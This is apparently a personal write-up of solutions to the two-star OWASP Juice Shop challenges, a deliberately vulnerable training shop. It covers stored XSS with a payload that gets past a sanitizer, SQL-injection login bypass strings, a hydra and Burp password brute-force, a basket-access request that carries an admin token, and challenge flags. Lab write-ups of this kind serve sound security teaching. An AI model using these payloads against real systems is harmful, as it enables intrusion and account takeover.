OWASP Juice Shop v9.3.1 - 2 Star Solutions

Admin Section

Access the administration section of the store.

Navigate to Admin can see list of registered users, non-logged in cannot.



Recycling Requests

User Quantity Address Pickup Date
2 800 Starfleet HQ, 24-593 Federation Drive, San Francisco, CA 2270-01-17T00:00:00.000Z

Classic Stored XSS

Perform an XSS attack with <script>alert(`xss`)</script> on a legacy page within the application.

In the Architecture overview, we are told Angular is used to create a so-called Single Page Application. But, the profile page looks subtly odd and dated compared with the other screens. You can update an account’s username with a field, which is susceptible to XSS.

Entering <script>alert(`xss`)</script>, our username gets set to \lert(`xss`). There is a custom RegEx sanitation behind the scenes. Through lots of incremental changes, we eventually arrive at an input which passes the sanitation: <<script><sscript>alert(`xss`)</script>.

XSS stored in username

Deprecated Interface

Use a deprecated B2B interface that was not properly shut down.

As has been mentioned in a few places, only pdfs are accepted in the complaint form. If we take a look, the file input accepts .pdf and .zip (expecting a zip of multiple pdfs).


When we look closer at the input element:


aria-label="Input area for uploading a single invoice PDF or XML B2B order file or a ZIP archive containing multiple invoices or orders<!---->"

it looks like it used to accept XML. So, I created a test file with touch test.xml and uploaded it which triggered the success state.

Five-Star Feedback

Get rid of all 5-star customer feedback.

On the /#/administration page, delete all the 5-star reviews.


Login Admin

Log in with the administrator’s user account.

Use SQL Injection ' OR 1=1;-- in email field, and any password. We can even be more explicit with ' or 1=1 and email like('%admin%');--.


Login MC SafeSearch

Log in with MC SafeSearch’s original user credentials without applying SQL Injection or any other bypass.

Googling MC SafeSearch we find this College Humor video.

In the song, MC SafeSearch says his password is the name of his dog Mr. Noodles, but was tricky and replaced some of the vowels with zeroes.

Email: mc.safesearch@juice-sh.op Password: Mr. N00dles

Password Strength

Log in with the administrator’s user credentials without previously changing them or applying SQL Injection.

If we look at the requests being made in the network tab when we navigate to /#/administration, we see some interesting redacted information.


If only we could read passwords! Oh well, perhaps brute-force is in order. After the Login Admin challenge, we know the admin’s email is admin@juice-sh.op. Let’s go to the login form, intercept a login request, and use Burp to go through a wordlist.

Original request:


Send to Intruder in Burp with Ctrl-I.


Get rid of the §s that we don’t need in the Payload Positions tab; we are only attacking the password.


Since I have Burp Community Edition, cracking the password takes a long time. In the meantime I tried to write a hydra command to do the same, faster.

$ hydra -l admin@juice-sh.op -P /usr/share/wordlists/rockyou.txt http-post-form '/#/login:email=^USER^&password=^PASS^:Invalid email or password.' -fV -s 3000 -t 1

After some fumbling and false positives, I checked out what hydra was actually doing with the debug flag -d. It turns out that none of the login form was actually sent back in the response to the requests. Since all the login form is dynamic content, the login form does not show up in the source code. So unless there is a flag/functionality I’m missing, hydra is not useful here and should instead be used on PHP-based sites.

Eventually, Burp Suite returned that the password is admin123.

Security Policy

Behave like any “white-hat” should before getting into the action.

security.txt is a proposed standard which allows websites to define security policies. The file is recommended to be placed inside the .well-known directory.

$ curl localhost:3000/.well-known/security.txt
Acknowledgements: /#/score-board

View Basket

View another user’s shopping basket.

Using FoxyProxy and Burp Suite, intercept a packet of a logged in user going to their basket. We use admin here, and from the administration page we know admin has 1 as their user id. We can see in the following request, that baskets are stored by user id (e.g. GET /rest/basket/1).

GET /rest/basket/1 HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIwLTAzLTExIDAwOjUxOjE0LjM4OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIwLTAzLTExIDAwOjUxOjE0LjM4OSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1ODM4OTY0NzYsImV4cCI6MTU4MzkxNDQ3Nn0.U--ZH-AwBaigQeJRIL08JFTpWKN__InJB25NBjGvMreIz-U4kjvtBbrPW9lZHR5eM21k3_UJD8VvA0-5detIoDD8-eDOqBqtVoTThexDOYEE5GBOmemIh4GFQSjrbD-O6dzJwubmF85iw9COLjAu3UmCPOi_v5fwZt85Wo5Og4A
DNT: 1
Connection: close
Referer: http://localhost:3000/
Cookie: io=JAxjrx9sxN2PvPa7AAAE; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=bKZ8yYJg36bORLxl5zMNanDAo9TjiyOUzYH18GPXj2mErq7VeQpokW9v14Bw; token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDIwLTAzLTExIDAwOjUxOjE0LjM4OSArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIwLTAzLTExIDAwOjUxOjE0LjM4OSArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE1ODM4OTY0NzYsImV4cCI6MTU4MzkxNDQ3Nn0.U--ZH-AwBaigQeJRIL08JFTpWKN__InJB25NBjGvMreIz-U4kjvtBbrPW9lZHR5eM21k3_UJD8VvA0-5detIoDD8-eDOqBqtVoTThexDOYEE5GBOmemIh4GFQSjrbD-O6dzJwubmF85iw9COLjAu3UmCPOi_v5fwZt85Wo5Og4A
If-None-Match: W/"51e-g+L4GWuN4lWam4EZuNC1rOU8MLg"

To solve this challenge, simply alter 1 to be any other valid user id. If you are still capturing, you’ll get your receipt.

42["challenge solved",{"key":"basketAccessChallenge","name":"View Basket","challenge":"View Basket (View another user's shopping basket.)","flag":"e6982b34b6734ceadd28e5019b251f929a80b815","hidden":false}]

Weird Crypto

Inform the shop about an algorithm or library it should definitely not use the way it does.

Mention MD5 in the comment of Customer Feedback, and the challenge is solved.